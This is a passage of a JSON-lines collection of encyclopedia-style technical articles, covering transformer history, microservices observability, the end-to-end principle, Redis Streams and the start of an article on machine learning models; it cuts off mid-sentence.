PyTorch. You can also convert them to CoreML models for iOS devices. Package spaCy also interfaces to HuggingFace. \n\nTensorFlow code and pretrained models for BERT are available. There's also code for Transformer-XL, MT-DNN and GPT-2.\n\nTensorFlow has provided an implementation for machine translation. Lilian Weng's implementation of the transformer is worth studying. Samuel Lynn-Evans has shared his implementation with explanations. The Annotated Transformer is another useful resource to learn the concepts along with the code.\n\n## Milestones\n\n2014\n\nSutskever et al. at Google apply **sequence-to-sequence** model to the task of machine translation, that is, a sequence of words in source language is translated to a sequence of words in target language. They use an **encoder-decoder** architecture that has separate 4-layered LSTMs for encoder and decoder. The encoder produces a fixed-length context vector, which is used to initialize the decoder. The main limitation is that the context vector is unable to adequately represent long sentences. \n\n2015\n\nBahdanau et al. apply the concept of **attention** to the seq2seq model used in machine translation. This helps the decoder to \"pay attention\" to important parts of the source sentence. Encoder is a bidirectional RNN. Unlike the seq2seq model of Sutskever et al., which uses only the encoder's last hidden state, attention mechanism uses all hidden states of encoder and decoder to generate the context vector. It also aligns the input and output sequences, with alignment score parameterized by a feed-forward network. \n\nJun  \n2017\n\nVaswani et al. propose the **transformer** model in which they use a seq2seq model without RNN. The transformer model relies only on **self-attention**, although they're not the first to use self-attention. Self-attention is about attending to different tokens of the sequence. \n\nJan  \n2018\n\nFor multi-document summarization, Liu et al. propose a **decoder-only transformer** architecture that can attend to sequences longer than what encoder-decoder architecture is capable of. Input and output sequences are combined into single sequence and used to train the decoder. During inference, output is generated auto-regressively. They also propose variations of attention to handle longer sequences. \n\nJun  \n2018\n\nOpenAI publishes **Generative Pre-trained Transformer (GPT)**. It's inspired by unsupervised pre-training and transformer architecture. The transformer is trained on large amount of data without supervision. It's then fine-tuned on smaller task-specific datasets with supervision. Pre-training involves a standard language modelling and uses Liu et al.'s decoder-only transformer. In February 2019, OpenAI announces an improved model named **GPT-2**. Compared to GPT, GPT-2 is trained on 10x the data and has 10x parameters. \n\nOct  \n2018\n\nGoogle open sources **Bidirectional Encoder Representations from Transformers (BERT)**, which is a pre-trained language model. It's deeply bidirectional and unsupervised. It improves state-of-the-art in many NLP tasks. It's trained on two tasks: (a) Masked Language Model (MLM), predicting some words that are masked in a sequence; (b) Next Sentence Prediction (NSP), binary classification that predicts if the next sentence follows the current sentence. \n\nJan  \n2019\n\nCombining Multi-Task Learning (MTL) and pretrained language model, Liu et al. propose **Multi-Task Deep Neural Network (MT-DNN)**. Lower layers of the architecture are shared across tasks and use BERT. Higher layers do task-specific training. They show that this approach outperforms BERT in many tasks even without fine-tuning. \n\nJan  \n2019\n\nJust as AutoML has been used in computer vision, Google researchers use an evolution-based neural architecture search (NAS) to discover what they call **Evolved Transformer (ET)**. It performs better than the original transformer of Vaswani et al. It's seen that ET is a hybrid, combining the best of self-attention and wide convolution.","meta":{"title":"Transformer Neural Network Architecture","href":"transformer-neural-network-architecture"}}
{"text":"# Microservices Observability\n\n## Summary\n\n\nWith traditional monolithic applications, troubleshooting problems was easier compared to the more recent microservices architecture. Log files captured information for debugging and analysis. Monitoring highlighted problems via static dashboards and alerts. The application itself was generally well understood.  \n\nWith microservices, there are more moving parts. The system is dynamic and heterogenous. It's parts are loosely coupled and transient. The system could fail in many different and unpredictable ways. It's necessary to monitor the application, the network and the infrastructure. It's in this context that observability (aka *o11y*)  becomes important.  \n\nCan we understand the inner workings of the system? Can we correlate the outputs with the inputs? Can we explain unexpected behaviour? Can data help us achieve business goals? A system that answers these questions effectively is said to be **observable**.\n\n## Discussion\n\n### How does observability differ from monitoring?\n\nIT systems have been monitoring performance since the early 2000s. They sample and aggregate important data points such as system downtime, response time and memory usage. These are compared against expectations. Anomalies and violations are thrown up as alerts for support teams. Monitoring focuses on overall system health and business KPIs.  \n\nObservability goes deeper with the aim of capturing system behaviour in greater detail and context. An application composed of many interacting microservices can fail in unpredictable ways. So it's not sufficient to focus on specific failures or scenarios. While monitoring deals with known unknowns, observability deals with unknown unknowns. Data analysis is an essential aspect of observability. Failures are traced back to root causes. To put it simply, \n\n> Monitoring tells you **when** something is wrong. Observability lets you ask **why**.\n\nObservability doesn't replace monitoring. Monitoring is essential to observability. We may even view observability as a superset of monitoring. \n\n\n### What are the main benefits of observability?\n\nObservability leads to better visibility into the system dynamics. We can identify bottlenecks and optimize workflows. It creates a culture of innovation, improves operational efficiency and enables data-driven business decisions. DevSecOps teams can use the insights from observability to build more secure applications. \n\nBecause observability helps us understand the system better, engineers can more confidently update and release software. Release cycles can be shorter. Quality can be improved. Problems that you we didn't know existed in the system (\"unknown unknowns\") become visible. We can find and fix issues earlier in the software development phase. When combined with AIOps, issues can be solved automatically without human intervention.  \n\nFor any organization moving from monoliths to microservices, observability helps in this transition. It can help them better manage their cloud-native applications. \n\n\n### What are the key pillars of observability?\n\nObservability has three key pillars:  \n\n    + **Logs**: Capture individual events. Logs are granular, timestamped and immutable. When things go wrong, logs are invaluable in determining the root cause. A good practice is to log in structured formats such as JSON. Structured logging enables easy visualization, search and analysis.\n    + **Metrics**: Data aggregated over time. Monitoring solutions rely on metrics. Uptime, CPU utilization, system load, memory usage, throughput, response time and error rate are some examples of metrics.\n    + **Traces**: Sequence of calls triggered by an event. In the world of microservices, a failure can be traced back to an offending microservice or an API call.**Events** and **exceptions** can be seen as special cases of logs.  Some identify **dependencies** as another pillar. This captures how components depend on one another. \n\nHistorically (in 2016), engineers at Twitter identified these four pillars: monitoring, alerting/visualization, distributed systems tracing infrastructure, and log aggregation/analytics. \n\n\n### What's the typical pipeline for microservices observability?\n\nA logger produces logs within each service instance. A centralized collector collects the logs. Data is then pre-processed and stored to ease later analysis. Pre-processing might include cleaning, formatting, sampling and aggregating (for metrics). Analysts may run ad hoc queries to explore and visualize data, and to solve problems. \n\nEach logger might be part of the main service or deployed as a sidecar container within the same Kubernetes pod of the main container.  More generally, an agent pull logs from services or log files and then pushes them to the collector. Alternatively, log collection is agent-less, that is, services themselves push logs to the collector. The latter is easier to deploy but requires developers to integrate logging functionality into the service code. \n\nDifferent types of analysis are possible: timeline analysis, service dependency analysis, aggregation analysis, root cause analysis and anomaly detection. Analysis is enabled by the use of statistics, rules and visualization. \n\n\n### What design patterns are available for microservices observability?\n\nAmong the design patterns are:   \n\n    + **Application Metrics**: Gives a complete picture of the application. Includes infrastructure, application and end user metrics.\n    + **Audit Logging**: Record all user or service account actions. Needed for regulatory compliance. Event sourcing is one approach to capturing audit logs. Likewise, changes to deployment ought to be logged.\n    + **Distributed Tracing**: Helps with performance profiling and root cause analysis. A sequence of API calls triggered by a user request is a trace. A trace is composed of spans. Each span records a unit of work within the trace. For example, user request, API gateway processing, service processing and database access are all spans within a trace. Distributed tracing requires context or correlation IDs passed from one service to the next.\n    + **Health Check**: An unhealthy service is one that's running but has problems. Health check API can assess current system health. It can trigger alerts, recovery, service restarts, etc.\n    + **Exception Tracking**: Includes error messages, error codes and stack traces.\n    + **Log Aggregation**: Logs from various microservices are sent to a centralized log server.\n\n### As a developer, should I care about observability?\n\nObservability is not just the concern of operations. Observability must be considered at the design stage itself. System should be designed to be testable. It should be incrementally deployable with support for rollback. System should collect detailed runtime data. \n\nLogs should be designed to support data with high cardinality and high dimensionality. This makes it possible to query the log data effectively to bring out patterns and root causes. A useful query such as \"list all 502 errors in the last 20 minutes from host foobar.com\" becomes possible. \n\nDevelopers must acknowledge that complex systems are unpredictable and failures are inevitable. They should proactively instrument their code, rather than rely on automatic instrumentation.  Even controlled testing in production may be permitted. Developers should consider the operational semantics and dependencies of their software. For example, developers should understand how services start/shutdown, their static/dynamic configurations, service discovery, concurrency, etc. \n\n\n### What are the best practices when implementing observability?\n\nMonitor essential metrics such as latency, traffic, error rate and saturation. Collect metrics along with contextual metadata. Configure and prioritize alerts correctly. For example, an alert for every 500 status code is a bad thing. Create specialized dashboard rather than overwhelming everyone with all the data. \n\nRules that detect incidents should be simple, predictable, reliable and actionable. Monitoring systems can become complex over time. They could end up collecting lots of metrics that are never used or complex rules that are never triggered. Data should lead to actionable insights. Data should create effective feedback loops. \n\nInvesting in observability tools matters, but tools alone will not solve problems. Teams must come with a mindset towards making their systems observable, from design to deployment. \n\nAn observability framework can serve as a reference for implementations. To be effective, observability must be guided by business goals such as Service Level Objectives (SLOs).  Look at observability from the perspective of end users (response times, failed purchases) and backend applications (slow queries, container restarts). \n\n\n### What tools are available for observability?\n\nMany frameworks (eg. ASP.NET and Spring Boot) have libraries or plugins that implement OpenTelemetry. Pick one that supports W3C Trace Context. Select tools that support automation and are easy to maintain. \n\nSome have proposed observability stacks that combine analysis, logging and visualization: ELK (Elasticsearch, Logstash, and Kibana), EFK (Elasticsearch, Fluentd, and Kibana), or PLG (Promtail, Loki, Grafana). \n\nFor logging from microservices we have Splunk, Loggly, Sumologic, Logstash, Beats, Fluent Bit, and more.\n\nTime-series data can be stored in Atlas, InfluxDB and Prometheus. Databases (such as Oracle) provide exporters and make data accessible to the observability stack. Prometheus helps with monitoring containers. Jaeger offers a visual representation of traces and dependencies. Dashboards can be created with Grafana. \n\nA few others include Chronosphere, Cisco AppDynamics, Datadog, Dynatrace, Honeycomb, IBM Instana, Lumigo, New Relic, Sensu, Sentry, SolarWinds, Serverless360, and Zipkin.   \n\nCloud providers offer managed services for observability.  For example, AWS has managed services for Grafana, Prometheus and OpenTelemetry (Java SDK + collector implementation). It also offers its proprietary AWS X-Ray and Amazon CloudWatch. \n\n\n### What are some challenges with observability?\n\nA New Relic survey from 2022 showed that observability is far from mature. Many problems are still detected manually. Organizations use too many tools. Some tools require developers to instrument their code with calls to tracing libraries. Some tools can monitor microservices but not monoliths. Some tools are SaaS only. Some tools sample data while others don't. \n\nLarge volumes of data can be overwhelming. Many tools may not scale well when data has high cardinality. Reducing the cardinality will make the system less observable. Designers must therefore consider this tradeoff until better tools become available. \n\nWhere service meshes are used, observability is harder due to increased variety of services, data volume and complex request paths. Often systems collect all metrics and later determine the relevant ones to analyze. It would be better to determine upfront the most relevant metrics and collect only those. ViperProbe can do this. \n\n## Milestones\n\n1960\n\nRudolf E. Kálmán coins the term **observability** in the domain of control theory. It's \"a measure of how well internal states of a system can be inferred from knowledge of its external outputs.\" Five decades later, this term gets repurposed towards distributed software systems. In the latter case, observability is the ability to understand and explain any system state, no matter how unusual or unexpected it may be. \n\n1988\n\nAt IETF, RFC 1067 titled *A Simple Network Management Protocol* is published. In subsequent years, this becomes the essential protocol for monitoring network infrastructure via **metrics**. Time-series databases and dashboards are later born out of metrics. But engineers reach for low-level tools (`strace`, `tcpdump`) when metrics fall short for debugging complex systems. \n\n1999\n\nEngineers at Sun Microsystems use the term \"observability\" as something that enables application performance monitoring and capacity planning. At this time, there are no microservices. Hence this definition of observability is rather narrow and closer to the modern use of the term \"monitoring\". \n\n2011\n\nThe term **microservices** gets discussed at a workshop of software architects near Venice, to describe a common architectural style that several of them were exploring at the time. By 2015, microservices become mainstream as per a survey by NGINX. \n\n2013\n\nTwitter publishes on its engineering blog an article titled *Observability at Twitter*. The article describes the elements of observability as practised at Twitter as they moved from a monolithic architecture to a microservices architecture. The article uses the terms \"observability team\" and \"observability stack\". Beyond just traditional monitoring, the stack includes time-series database, dashboards and ability to run ad hoc queries. This extension of traditional monitoring has been called **whitebox monitoring**. \n\n2015\n\nBy mid-2010s, the term \"observability\" becomes more common. By 2018, it's commonly used in conferences and blog posts. \n\n2019\n\n**OpenTelemetry** is formed by merging two earlier projects named OpenTracing and OpenCensus. It's an incubation project at CNCF. It collects logs, traces and metrics from services, and sends them to analysis tools. It integrates easily with popular frameworks and libraries. \n\nNov  \n2021\n\nW3C publishes *Trace Context* as a W3C Recommendation. This standardizes new HTTP header names and formats that allow context information to be propagated across HTTP clients and servers in any distributed system. It's worth noting that OpenTelemetry supports W3C Trace Context format. \n\n2023\n\nGigaOm publishes a research finding on the current state of the market in the cloud observability space. The study considers supported deployment models: SaaS, on-premise or hybrid. It considers many features: dashboards, user interaction performance monitoring, predictive analysis, microservices detection, etc. It's likely that no single platform is the best fit for every use case.","meta":{"title":"Microservices Observability","href":"microservices-observability"}}
{"text":"# End-to-End Principle\n\n## Summary\n\n\nWhen a function has to be supported in a networked system, the designer often asks if it should be implemented at the end systems; or should it be implemented within the communication subsystem that interconnects all the end systems. The end-to-end argument or principle states that it's proper to implement the function in the end systems. The communication system itself may provide a partial implementation but only as a performance enhancement. \n\nThe architecture and growth of the Internet was shaped by the end-to-end principle. It allowed us to keep the Internet simple and add features quickly to end systems. The principle enabled innovation. \n\nMore recently, the principle has been criticized or violated to support features such as network caching, differentiated services, or deep packet inspection.\n\n## Discussion\n\n### Could you explain the end-to-end principle?\n\nSuppose we need to transfer a file from computer A to computer B across a network. Let's assume that the network guarantees correct delivery of the file by way of checksums, retransmissions, and deduplication of packets. Thus, our hypothetical network is full of features but also complex. The problem is that despite such a smart network, the file transfer can still go wrong. The file could get corrupted on B during transfer from buffer to the file system. This implies that end computers still have to do the final checks even if the network has already done them. \n\nThis is the essence of the end-to-end (E2E) argument. A communication system may do some things for performance reasons but it can't achieve correctness. For reasons of efficiency and performance, the communication system may implement some features at minimal cost but should avoid trying to achieve high levels of reliability. Reliability and correctness must be left to end systems. \n\nIn addition, applications may not need features implemented in the communication system. An \"open\" system would give more control to end systems. \n\n\n### How has the end-to-end principle benefited the Internet?\n\nComplexity impedes scaling due to higher OPEX and CAPEX. Thus, the end-to-end principle leads to the **simplicity principle**. IP layer is simple, giving Internet it's hourglass-shaped architecture. \n\nAt the network layer we have IP as the dominant protocol. At higher layers, we have many protocols for supporting diverse applications. At lower layers, we have many protocols suited to different physical networks. IP can be said to \"hide the detailed differences among these various technologies, and present a uniform service interface to the applications above\". \n\nIP itself is simple and general. It's supported by all routers within the network. Application-level functions are kept at endpoints. Application developers could therefore innovate without any special support from the network, with some calling it the **generative Internet**. The principle has been credited with making Internet a success. \n\nResearch has also shown that future architectures for the Internet are likely to evolve into the hourglass shape. \n\n\n### Does the end-to-end principle prohibit the network from maintaining state?\n\nEnd-to-end applications can survive partial network failures. This is because the network maintains only coarse-grained states, while endpoints maintain the main states. State can be destroyed only when the endpoint itself is destroyed, called **fate sharing**. Fate of endpoints doesn't depend on the network. \n\nRouting, QoS guarantees, and header compression are some examples where the network may maintain state. However, this state is self-healing. It can be worked out even if network topology or activity changes. State maintained within the network must be minimal. Loss of this state should at most result in temporary loss of service. \n\nState maintained in the network may be called *soft state* while that maintain at endpoints, and required for the proper functioning of the endpoints, may be called *hard state*. \n\n\n### Besides the Internet, where else has the end-to-end principle been applied?\n\nOn the Internet, end-to-end principle has been applied to reliable delivery, deduplication, in-order delivery, reputation maintenance, security, and fault tolerance. For security, both authenticity and encryption of messages are best done at endpoints. Doing these within the network will not only compromise security but also complicate key management. \n\nIt's application to file transfer is well known. Checksum should be validated only after successful storage to disk. Another example is the EtherType field in Ethernet frame. Ethernet doesn't interpret this field. To do so would mean that all higher layer protocols would pay the price for the special few. \n\nIn computer architecture, RISC favours simple instructions over the complex ones of CISC. In CISC, a designer may include complex instructions but it's hard for her to anticipate client requirements. Clients may end up with their own specific implementations. \n\nA case has been made to apply end-to-end principle for data commons, that is, sharing and organizing data for a discipline. Applications can decide how to import, export or analyze data. The core system would only define global identifiers, basic metadata, authenticated access and a configurable data model. \n\n\n### What are the essential aspects of end-to-end connectivity?\n\nRFC 2775 (published in 2000) mentions three aspects: \n\n    + **E2E Argument**: This is as described by Saltzer et al. in 1981, and what is now called the end-to-end principle.\n    + **E2E Performance**: This concerns both the network and the end systems. Research in this area has suggested some improvements to TCP plus optimized queuing and discard mechanisms in routers. However, this won't help other transport protocols that don't behave like TCP in response to congestion.\n    + **E2E Address Transparency**: A single logical address space was deemed adequate for the early Internet of the 1970s. Packets could flow end to end unaltered and without change of source or destination addresses. RFC 2101 of 1997 analyzed this aspect and concluded that address transparency is no longer maintained in present day Internet. An example of this is Network Address Translation (NAT). Applications that assume address transparency are likely to fail unpredictably.\n\n### Are there instances where the end-to-end principle has been violated?\n\nConsider a client-server architecture involving a database write operation at the server. A \"smart\" server can return an immediate confirmation to the client even though it hasn't completed the database write operation. If the write fails, the server has to do retries, effectively taking up responsibilities of the client. It gets worse if the server itself fails, since client thinks that the database write actually happened. \n\nBufferbloat was an interesting problem the Internet had in the late 2010s. Because routers could afford larger buffers, they started accepting higher load. They didn't drop packets until later when their larger buffers started filling up. Therefore, endpoints didn't backoff early enough. This resulted in a slower internet. \n\nHTTP caching, link-level encryption, SOAP 2.0, Network Address Translation (NAT) and firewalls are other counter-examples. \n\nExamples where the network gets involved are traffic management, capacity reservation, packet segmentation/reassembly, and multicast routing. But these shouldn't be seen as violating the principle. Likewise, cloud computing doesn't violate the principle. Cloud infrastructure is not part of the communication system. It's actually an endpoint. \n\n\n### How is end-to-end principle relevant to the net neutrality debate?\n\nNet neutrality is about creating a level-playing field for everyone, big or small. It ensures that big companies can't pay for preferential treatment of their content. The network sees and treats all content alike. Without net neutrality, a few companies that own or control online platforms or communication infrastructure become all too powerful. Power therefore moves from the end consumers to the network controlled by a few. This goes against the end-to-end principle. \n\nTim Wu coined the termed \"network neutrality\" back in 2002, when he noticed that broadband providers were blocking certain types of services. Network providers might promise services such as blocking spam, viruses or even advertisements. Most users would rather do these on their end systems rather than lose control. \n\nDeep Packet Inspection (DPI) is used for QoS, security and even surveillance. It's at odds with net neutrality. With DPI, intermediate nodes look into packet headers and payload. Yet, the end-to-end principle doesn't actually prohibit this. \n\n\n### What are the common criticisms of the end-to-end principle?\n\nOne criticism is that the original paper by Saltzer et al. never properly understood the true nature of packet switching, which is stochastic. The paper also confused moving packets through the network (statistical) with non-functional aspects such as confidentiality (computational). It would have been better to model timely arrival of packets to enable successful computation. \n\nThe end-to-end principle never gave end users freedom. Network infrastructure has always been built and controlled for commercial reasons by those who had the means. Therefore, to protect user interests, discussions must involve everyone in the industry. \n\nBack in 2001, researchers noted new applications and scenarios that end-to-end principle didn't address very well: untrusted endpoints, video streaming, ISP service differentiation, third-parties, and difficulty in configuring home network devices. All of these could benefit with some intelligence in the network. \n\nIn Service-Oriented Architecture (SOA), implementing stuff end-to-end would be too costly. A hop-by-hop approach would be better. Ultimately, the principle shouldn't be applied blindly. In the early days of the Internet, when bandwidth was scarce, HTTP caching made sense even when it violated the end-to-end principle, even when it made HTTP a considerably more complex protocol. \n\n## Milestones\n\n1950\n\nIn the 1950s, for reading and writing files to magnetic tapes, engineers attempt to design a reliable tape subsystem. They fail to create such a system. Ultimately, applications take care of checks and recovery. An example of this from the 1970s is the Multics file system. Although there's low-level error detection and correction, they don't replace high-level checks. \n\n1973\n\nFrenchman Louis Pouzin designs and develops CYCLADES, a packet switching network. It becomes the first network in which hosts are responsible for reliable delivery of packets. Networks transport datagrams without delivery guarantees. Even the term *datagram* is coined by Pouzin. CYCLADES inspires the first version TCP. Meanwhile, D.K. Branstad makes the end-to-end argument with reference to encryption. \n\n1978\n\nWhat was originally TCP, is split into two parts: TCP and IP. Thus, layered architecture is applied and the functions of each layer becomes more well defined. On January 1st, 1983, TCP/IP becomes the standard protocol for ARPAnet that by now connects 500 sites. \n\nApr  \n1981\n\nJ.H. Saltzer, D.P. Reed and D.D. Clark at the MIT Laboratory for Computer Science present a conference paper titled *End-to-end Arguments in System Design*. Given a distributed system, the paper gives guidance on where to place protocol functions. For example, end systems should perform recovery, encryption and deduplication. Low-level parts of the network could support them only as performance enhancements. Phil Karn, a well-known Internet contributor, comments years later that this is \"the most important network paper ever written\". \n\n1996\n\nThe IETF publishes RFC 1958 titled *Architectural Principles of the Internet*, with reference to the end-to-end principle of Saltzer et al. In 2002, this RFC is updated by RFC 3439. Other IETF documents relevant to this discussion are RFC 2775 (2000), and RFC 3724 (2004). \n\nMay  \n1997\n\nDavid S. Isenberg, an employee of AT&T, writes an essay titled *The Rise of the Stupid Network*. He notes that telephone networks were built on the assumption of scarce bandwidth, circuit-switching, and voice-dominated calls. This has led to the creation of **Intelligent Network (IN)**, where the network took on more features. Given the rise of the Internet, Isenberg argues that the time has come for telephone networks to become stupid and allow endpoints to do intelligent things. Tell networks, \"Deliver the Bits, Stupid\".","meta":{"title":"End-to-End Principle","href":"end-to-end-principle"}}
{"text":"# Redis Streams\n\n## Summary\n\n\nRedis has data types that could be used for events or message sequences but with different tradeoffs. Sorted sets are memory hungry. Clients can't block for new messages. It's also not a good choice for time series data since entries can be moved around. Lists don't offer fan-out: a message is delivered to a single client. List entries don't have fixed identifiers. For 1-to-n workloads, there's Pub/Sub but this is a \"fire-and-forget\" mechanism. Sometimes we wish to keep history, make range queries, or re-fetch messages after a reconnection. Pub/Sub lacks these properties. \n\nRedis Streams addresses these limitations. Stream data type can be seen as similar to logging, except that Stream is an abstraction that's more performant due to logical offsets. It's built using radix trees and listpacks, making it space efficient while also permitting random access by IDs.\n\n## Discussion\n\n### What are some use cases for Redis Streams?\n\nRedis Streams is useful for building chat systems, message brokers, queuing systems, event sourcing, etc. Any system that needs to implement unified logging can use Streams.  Queuing apps such as Celery and Sidekiq could use Streams. Slack-style chat apps with history can use Streams. \n\nFor IoT applications, Streams can run on end devices. This is essentially time-series data that Streams timestamps for sequential ordering. Each IoT device will store data temporarily and asynchronously push these to the cloud via Streams. \n\nWhile we could use Pub/Sub along with lists and hashes to persist data, Stream is a better data type that's designed to be more performant. Also, if we use Pub/Sub and Redis server is restarted, then all clients have to resubscribe to the channel. \n\nSince Streams supports blocking, clients need not poll for new data. Blocking enables real-time applications, that is, clients can act on new messages as soon as possible. \n\n\n### Which are the new commands introduced by Redis Streams?\n\nAll commands of Redis Streams are documented online. We briefly mention them: \n\n    + **Adding**: `XADD` is the only command for adding data to a stream. Each entry has a unique ID that enables ordering.\n    + **Reading**: `XREAD` and `XRANGE` read items in the order determined by the IDs. `XREVRANGE` returns items in reverse order. `XREAD` can read from multiple streams and can be called in a blocking manner.\n    + **Deleting**: `XDEL` and `XTRIM` can remove data from the stream.\n    + **Grouping**: `XGROUP` is for managing consumer groups. `XREADROUP` is a special version of `XREAD` with support for consumer groups. `XACK`, `XCLAIM` and `XPENDING` are other commands associated with consumer groups.\n    + **Information**: `XINFO` shows details of streams and consumer groups. `XLEN` gives number of entries in a stream.\n\n### What are main features of Redis Streams?\n\nStreams is a first-class citizen of Redis. It benefits from the usual Redis capabilities of persistency, replication and clustering. It's stored in-memory and under a single key.  \n\nThe main features of Streams are: \n\n    + **Asynchronous**: Producers and consumers need not be simultaneously connected to the stream. Consumers can subscribe to streams (push) or read periodically (pull).\n    + **Blocking**: Consumers need not keep polling for new messages.\n    + **Capped Streams**: Streams can be truncated, keeping only the N most recent messages.\n    + **At-Least Once Delivery**: This makes the system robust.\n    + **Counter**: Every pending message has a counter of delivery attempts. We can use this for dead letter queuing.\n    + **Deletion**: While events and logs don't usually have deletion as a feature, Streams supports this efficiently. Deletion allows us to address privacy or regulatory concerns.\n    + **Persistent**: Unlike Pub/Sub, messages are persistent. Since history is saved, a consumer can look at previous messages.\n    + **Lookback Queries**: This helps consumers analyse past data, such as, obtain temperature readings in a particular 10-second window.\n    + **Scale-Out Options**: Via consumer groups, we can easily scale out. Consumers can share the load of processing a fast-incoming data stream.\n\n### Could you explain consumer groups in Redis?\n\nA consumer group allows consumers of that group to share the task of consuming messages from a stream. Thus, a message in a stream can be consumed by only one consumer in that consumer group. This relieves the burden on a consumer to process all messages. \n\nCommand `XGROUP` creates a consumer group. A consumer is added to a group the first time it calls `XREADGROUP`. A consumer always has to identify itself with a unique consumer name. \n\nA stream can have multiple consumer groups. Each consumer group tracks the ID of the last consumed message. This ID is shared by all consumers of the group. Once a consumer reads a message, it's ID is added to a *Pending Entries List (PEL)*. The consumer must *acknowledge* that it has processed the message, using `XACK` command. Once acknowledged, the pending list is updated. Another consumer can *claim* a pending message using `XCLAIM` command and begin processing it. This helps in recovering from failures. However, a consumer can choose to use the `NOACK` subcommand of `XREADGROUP` if high reliability is not important. \n\n\n### Could you share more details about IDs in Redis Streams?\n\nEntries within a stream are ordered using IDs. Each ID has two parts separated by hyphen: UNIX millisecond timestamp followed by sequence number to distinguish entries added at the same millisecond time. Each part is a 64-bit number. For example, `1526919030474-55` is a valid ID. \n\nIDs are autogenerated when `XADD` command is called. However, a client can specify its own ID but it should be an ID greater than all other IDs in the stream. \n\nIncomplete IDs are when the second part is omitted. With `XRANGE`, Redis will fill in a suitable second part for us. With `XREAD`, the second part is always `-0`. \n\nSome IDs are special:\n\n    + `$`: Used with `XREAD` to block for new messages, ignoring messages already in the stream.\n    + `-` & `+`: Used with `XRANGE`, to specify minimum and maximum IDs possible within the stream. For example, the following command will return every entry in the stream: `XRANGE mystream - +`\n    + `>`: Used with `XREADGROUP`, to get new messages (never delivered to other clients). If this command uses any other ID, it has the effect of returning pending entries of that client.\n\n### In what technical aspects does Redis Streams differ from other Redis data types?\n\nUnlike other Redis blocking commands that specify timeouts in seconds, commands `XREAD` and `XREADGROUP` specify timeouts in milliseconds. Another difference is that when blocking on list pop operations, the first client will be served when new data arrives. With Stream `XREAD` command, every client blocking on the stream will get the new data. \n\nWhen an aggregate data type is emptied, its key is automatically destroyed. This is not the case with Stream data type. The reason for this is to preserve the state associated with consumer groups. Stream is not deleted even if there are no consumer groups but this behaviour may be changed in future versions. \n\n\n### How does Redis Streams compare against Kafka?\n\nApache Kafka is a well-known alternative for Redis Streams. In fact, some features of Streams such as consumer groups have been inspired by Kafka. \n\nHowever, Kafka is said to be difficult to configure and expensive to operate on typical public clouds. Streams is therefore a better option for small, inexpensive apps. \n\n\n### Could you share some performance numbers on Redis Streams?\n\nIn one test on a two-core machine with multiple producers and consumers, messages were generated at 10K per second. With `COUNT 10000` given to `XREADGROUP` command, every iteration processed 10K messages. It was seen that 99.9% requests had a latency of less than 2 ms. Real-world performance is expected to be better than this. \n\nWhen compared against traditional Pub/Sub messaging, Streams gives 100x better throughput. It's able to handle more than 1 million operations per second. If Pub/Sub messages are persisted to network storage, latency is about 5 ms. Streams has less than 1 ms latency. \n\n\n### Could you share some developer tips for using Redis Streams?\n\nThere are dozens of Redis clients in various languages. Many of these have support for Streams.\n\nUse `XREAD` for 1-to-1 or 1-to-n messaging. Use `XRANGE` for windowing-based stream processing. Within a consumer group, if a client fails temporarily, it can reread messages from a specific ID. For permanent failures, other clients can claim pending messages. \n\nFor real-time streaming analytics, one suggestion is to pair up Redis Streams with Apache Spark. The latter has the feature Structured Streaming that pairs up nicely with Streams. To scale out, multiple Spark jobs can belong to a single consumer group. Since Streams is persistent, even if a Spark job restarts, it won't miss any data since it will start consuming from where it left off. \n\n## Milestones\n\nSep  \n2017\n\nSalvatore Sanfilippo, creator of Redis, gives a demo of Redis Streams and explains the API. In October, he blogs about it. He explains that the idea occurred much earlier. He tinkered with implementing a generalization of sorted sets and lists but was not happy with the results. When Redis 4.0 came out with support for modules, Timothy Downs created a data type for logging transactions. Sanfilippo used this as an inspiration to create Redis Streams. \n\nMay  \n2018\n\nThe first release candidate RC1 of Redis 5.0 is released. This supports **Stream** data type. \n\nJul  \n2018\n\nBeta version of Redis Enterprise Software (RS) 5.3 is released. This is based on Redis 5.0 RC3 with support for Stream data type. \n\nOct  \n2018\n\nRedis 5.0.0 is released. \n\nMay  \n2019\n\nAt the Redis Conference 2019, Dan Pipe-Mazo talks about Atom, a microservices SDK powered by Redis Streams. Microservices interact with one another using Streams.","meta":{"title":"Redis Streams","href":"redis-streams"}}
{"text":"# Machine Learning Model\n\n## Summary\n\n\nIn traditional programming, a function or program reads a set of input data, processes them and outputs the results. Machine Learning (ML) takes a different approach. Lots of input data and corresponding outputs are given. ML employs an algorithm to learn from this dataset and outputs a \"function\". This function or program is what we call an **ML Model**. \n\nEssentially, the model encapsulates a relationship or pattern that maps the input to the output. The model learns this automatically without being explicitly programmed with fixed rules or patterns. The model can then be given unseen data for which it predicts the output. \n\nML models come in different shapes and formats. Model metadata and evaluation metrics can help compare different models.\n\n## Discussion\n\n### Could you explain ML models with some examples?\n\nConsider a function that reads Celsius value and outputs Fahrenheit value. This implements a simple mathematical formula. In ML, once the model is trained on the dataset, the formula is implicit in the model. It can read new Celsius values and give correct Fahrenheit values. \n\nLet's say we're trying to estimate house prices based on attributes. It may be that houses with more than two bedrooms fall into a higher price bracket. Areas 8500 sq.ft. and 11500 sq.ft are important thresholds at which prices tend to jump. Rather than encode these rules into a function, we can build a ML model to learn these rules implicitly. \n\nIn another dataset, there are three species of irises. Each iris sample has four attributes: sepal length/width, petal length/width. An ML model can be trained to recognize three distinct clusters based on these attributes. All flowers belonging to a cluster are of the same species. \n\nIn all these examples, ML saves us the trouble of writing functions to predict the output. Instead, we train an ML model to implicitly learn the function.\n\n\n### What are the essentials that help an ML model learn?\n\nThere are many types (aka shapes/structures/architectures) of ML models. Typically, this **structure** is not selected automatically. The data scientist pre-selects the structure. Given data, the model learns within the confines of the chosen structure. We may say that the model is fine-tuning the parameters of its structure as it sees more and more data. \n\nThe model learns in iterations. Initially, it will make poor predictions, that is, predicted output deviate from actual output. As it sees more data, it gets better. Prediction error is quantified by a **cost/loss function**. Every model needs such a function to know how well it's learning and when to stop learning. \n\nThe next essential aspect of model training is the **optimizer**. It tells the model how to adjust its parameters with each iteration. Essentially, the optimizer attempts to minimize the loss function. \n\nIf results are poor, the data scientist may modify or even select a different structure. She may pre-process the input differently or focus on certain aspects of the input, called features. These decisions could be based on experience or analysis of wrong predictions.\n\n\n### What possible structures, loss functions and optimizers are available to train an ML model?\n\nClassical ML offers many possible model structures. For example, Scikit-Learn has model structures for regression, classification and clustering problems. Some of these include linear regression, logistic regression, Support Vector Machine (SVM), Stochastic Gradient Descent (SGD), nearest neighbour, Guassian process, Naive Bayes, decision tree, ensemble methods, k-Means, and more.\n\nFor building neural networks, many architectures are possible: Feed-Forward Neural Network (FFNN), 